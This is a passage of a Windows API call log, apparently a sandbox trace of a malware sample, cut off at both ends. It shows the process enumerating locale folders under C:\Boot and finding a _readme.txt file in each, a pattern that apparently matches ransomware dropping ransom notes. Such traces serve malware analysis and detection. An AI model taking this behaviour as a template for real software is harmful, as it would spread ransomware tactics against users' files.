PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.340] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0122.340] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.340] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.341] PathFindFileNameW (pszPath="") returned="" [0122.341] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.341] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.341] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.341] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.341] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0122.341] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0122.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.343] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.343] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.343] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.343] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.343] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.343] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.343] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.343] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0122.343] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.343] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.343] PathFindFileNameW (pszPath="") returned="" [0122.343] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.344] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.344] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.344] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.344] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0122.344] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0122.345] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.345] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.345] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.345] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bfc4d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.345] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bfc4d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.345] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.346] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.346] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0122.346] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.346] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.346] PathFindFileNameW (pszPath="") returned="" [0122.346] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.346] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.346] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.346] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.346] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0122.346] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0122.348] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.348] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.348] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.348] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c22630, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.348] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c22630, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.348] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.348] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.348] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0122.348] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.348] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.348] PathFindFileNameW (pszPath="") returned="" [0122.348] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.349] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.349] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.349] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.349] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0122.349] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0122.350] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.350] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.350] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.350] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c48790, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.350] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c48790, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.350] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.350] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.351] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0122.351] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.351] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.351] PathFindFileNameW (pszPath="") returned="" [0122.351] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.351] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.351] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.351] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.351] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0122.351] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0122.353] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.353] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.353] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.353] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c6e8f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.353] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c6e8f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.353] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.353] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.353] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0122.353] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.353] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.353] PathFindFileNameW (pszPath="") returned="" [0122.353] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.354] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.354] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.354] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.354] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0122.354] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0122.355] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.355] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.355] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.355] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c94a50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.355] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c94a50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.355] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.355] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.355] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0122.355] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.356] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.356] PathFindFileNameW (pszPath="") returned="" [0122.356] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.356] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.356] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.356] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.356] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0122.356] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0122.357] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, 